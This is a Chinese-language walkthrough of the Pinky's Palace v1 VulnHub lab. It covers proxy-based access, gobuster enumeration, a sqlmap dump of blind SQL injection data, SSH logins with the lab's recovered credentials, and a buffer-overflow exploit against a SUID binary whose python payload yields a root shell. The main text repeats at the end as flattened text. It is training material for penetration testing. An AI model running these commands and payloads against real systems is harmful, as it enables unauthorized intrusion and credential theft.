VulnHub-Pinky’s Palace: v1-靶机渗透测试
字数 1742 2025-08-15 21:33:21

Pinky’s Palace: v1 靶机渗透测试教学文档

靶机概述

  • 难度等级: 中级(CTF)
  • 发布日期: 2018年3月6日
  • 测试环境: VirtualBox,仅DHCP主机和桥接适配器类型
  • 目标: 获取root权限并找到flag.txt
  • 作者: DXR

信息收集阶段

1. 网络扫描

使用nmap进行初始扫描:

nmap -sP 192.168.56.0/24  # 发现靶机IP
nmap -sV 192.168.56.11    # 扫描开放端口和服务

扫描结果:

  • 8080端口: http nginx 1.10.3
  • 31337端口: http-proxy squid 3.5.23
  • 64666端口: openssh 7.4

2. 代理配置发现

直接访问8080端口返回403错误,需要通过31337端口的代理访问:

curl -x http://192.168.56.11:31337 http://127.0.0.1:8080

原理说明: 通过代理传递HTTP请求时,127.0.0.1指向代理服务器的地址(192.168.56.11)

Web应用枚举

1. 目录爆破

使用gobuster进行目录枚举:

gobuster dir -p http://192.168.56.11:31337 \
-u http://127.0.0.1:8080 \
-t 30 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-s 200,301,302

参数说明:

  • dir: 目录爆破模式
  • -p: 代理配置
  • -u: 目标URL
  • -t: 线程数
  • -w: 字典文件
  • -s: 只显示指定状态码的响应

发现关键目录: /littlesecrets-main,显示账号或密码错误

SQL注入利用

1. BurpSuite配置

  1. 在User Options模块设置代理
  2. 在Proxy模块设置浏览器代理为127.0.0.1:8080
  3. 抓取/littlesecrets-main的请求包

2. SQLMap测试

sqlmap --proxy="http://192.168.56.11:31337" -r sqlmap.txt --level 3 --batch

发现: HTTP消息头User-Agent参数存在基于时间的盲注

3. 数据库数据提取

sqlmap --proxy="http://192.168.56.11:31337" -r sqlmap.txt --level 3 --batch \
-D pinky_sec_db -T users -C user,pass --dump

获取凭证:

  • pinkymanage:3pinkysaf33pinkysaf3 (MD5解密后)
  • pinky:f543dbfeaf238729831a321c7a68bee4 (未破解成功)

系统访问

1. SSH登录

使用获取的凭证登录SSH:

ssh -p 64666 pinkymanage@192.168.56.11
密码: 3pinkysaf33pinkysaf3

2. 寻找pinky用户凭证

/var/www/html/littlesecrets-main/ultrasecretadminf1l35目录发现RSA密钥提示

处理步骤:

  1. 将密钥写入Kali本地文件
  2. 修改权限为600: chmod 600 pinky_key
  3. 发现格式错误,进行base64解码
  4. 将解码数据写入新文件并再次设置权限

3. 使用密钥登录pinky用户

ssh -p 64666 -i pinky_key pinky@192.168.56.11

权限提升

1. 发现特权程序

在pinky用户家目录发现adminhelper程序:

  • 具有SUID权限
  • 属主为root

2. GDB调试分析

gdb ./adminhelper

关键发现:

  • 使用info functions命令发现strcpy函数和spawn函数
  • strcpy存在缓冲区溢出漏洞
  • spawn函数可以生成交互式shell

3. 漏洞利用开发

步骤:

  1. 确定溢出点:测试发现72个字符后溢出
  2. 获取spawn函数地址: 0x00005555555547d0
  3. 构造payload:
    • 72个填充字符('a')
    • spawn函数地址(小端格式): \xd0\x47\x55\x55\x55\x55
    • 注意去掉前两位00(\x00会终止程序)

4. 执行漏洞利用

./adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")

结果: 成功调用spawn函数,获得root权限的shell

总结与知识要点

  1. 代理配置: 理解如何通过代理访问受限资源
  2. 目录枚举: 掌握gobuster等工具的使用和参数配置
  3. SQL注入:
    • 识别基于时间的盲注
    • 使用sqlmap提取数据库数据
    • 处理加密凭证(MD5解密)
  4. SSH访问:
    • 使用密码和密钥认证
    • 处理格式错误的SSH密钥
  5. 权限提升:
    • 识别SUID程序
    • GDB调试技术:
      • info functions查看函数
      • disas反汇编
      • 断点设置
    • 缓冲区溢出利用:
      • 确定溢出点
      • 构造payload覆盖返回地址
      • 处理地址中的坏字符(\x00)

工具清单

  1. 信息收集:
    • nmap
  2. Web枚举:
    • gobuster
  3. 代理工具:
    • BurpSuite
  4. SQL注入:
    • sqlmap
  5. 调试分析:
    • GDB
  6. 加密解密:
    • base64
    • MD5破解工具

通过本靶机的完整渗透过程,可以系统性地学习从信息收集到权限提升的完整渗透测试流程,特别是缓冲区溢出漏洞的利用方法。

Pinky’s Palace: v1 靶机渗透测试教学文档 靶机概述 难度等级 : 中级(CTF) 发布日期 : 2018年3月6日 测试环境 : VirtualBox,仅DHCP主机和桥接适配器类型 目标 : 获取root权限并找到flag.txt 作者 : DXR 信息收集阶段 1. 网络扫描 使用nmap进行初始扫描: 扫描结果 : 8080端口: http nginx 1.10.3 31337端口: http-proxy squid 3.5.23 64666端口: openssh 7.4 2. 代理配置发现 直接访问8080端口返回403错误,需要通过31337端口的代理访问: 原理说明 : 通过代理传递HTTP请求时,127.0.0.1指向代理服务器的地址(192.168.56.11) Web应用枚举 1. 目录爆破 使用gobuster进行目录枚举: 参数说明 : dir : 目录爆破模式 -p : 代理配置 -u : 目标URL -t : 线程数 -w : 字典文件 -s : 只显示指定状态码的响应 发现关键目录 : /littlesecrets-main ,显示账号或密码错误 SQL注入利用 1. BurpSuite配置 在User Options模块设置代理 在Proxy模块设置浏览器代理为127.0.0.1:8080 抓取/littlesecrets-main的请求包 2. SQLMap测试 发现 : HTTP消息头User-Agent参数存在基于时间的盲注 3. 数据库数据提取 获取凭证 : pinkymanage:3pinkysaf33pinkysaf3 (MD5解密后) pinky:f543dbfeaf238729831a321c7a68bee4 (未破解成功) 系统访问 1. SSH登录 使用获取的凭证登录SSH: 2. 寻找pinky用户凭证 在 /var/www/html/littlesecrets-main/ultrasecretadminf1l35 目录发现RSA密钥提示 处理步骤 : 将密钥写入Kali本地文件 修改权限为600: chmod 600 pinky_key 发现格式错误,进行base64解码 将解码数据写入新文件并再次设置权限 3. 使用密钥登录pinky用户 权限提升 1. 发现特权程序 在pinky用户家目录发现 adminhelper 程序: 具有SUID权限 属主为root 2. GDB调试分析 关键发现 : 使用 info functions 命令发现 strcpy 函数和 spawn 函数 strcpy 存在缓冲区溢出漏洞 spawn 函数可以生成交互式shell 3. 漏洞利用开发 步骤 : 确定溢出点:测试发现72个字符后溢出 获取 spawn 函数地址: 0x00005555555547d0 构造payload: 72个填充字符('a') spawn 函数地址(小端格式): \xd0\x47\x55\x55\x55\x55 注意去掉前两位00(\x00会终止程序) 4. 执行漏洞利用 结果 : 成功调用 spawn 函数,获得root权限的shell 总结与知识要点 代理配置 : 理解如何通过代理访问受限资源 目录枚举 : 掌握gobuster等工具的使用和参数配置 SQL注入 : 识别基于时间的盲注 使用sqlmap提取数据库数据 处理加密凭证(MD5解密) SSH访问 : 使用密码和密钥认证 处理格式错误的SSH密钥 权限提升 : 识别SUID程序 GDB调试技术: info functions 查看函数 disas 反汇编 断点设置 缓冲区溢出利用: 确定溢出点 构造payload覆盖返回地址 处理地址中的坏字符(\x00) 工具清单 信息收集 : nmap Web枚举 : gobuster 代理工具 : BurpSuite SQL注入 : sqlmap 调试分析 : GDB 加密解密 : base64 MD5破解工具 通过本靶机的完整渗透过程,可以系统性地学习从信息收集到权限提升的完整渗透测试流程,特别是缓冲区溢出漏洞的利用方法。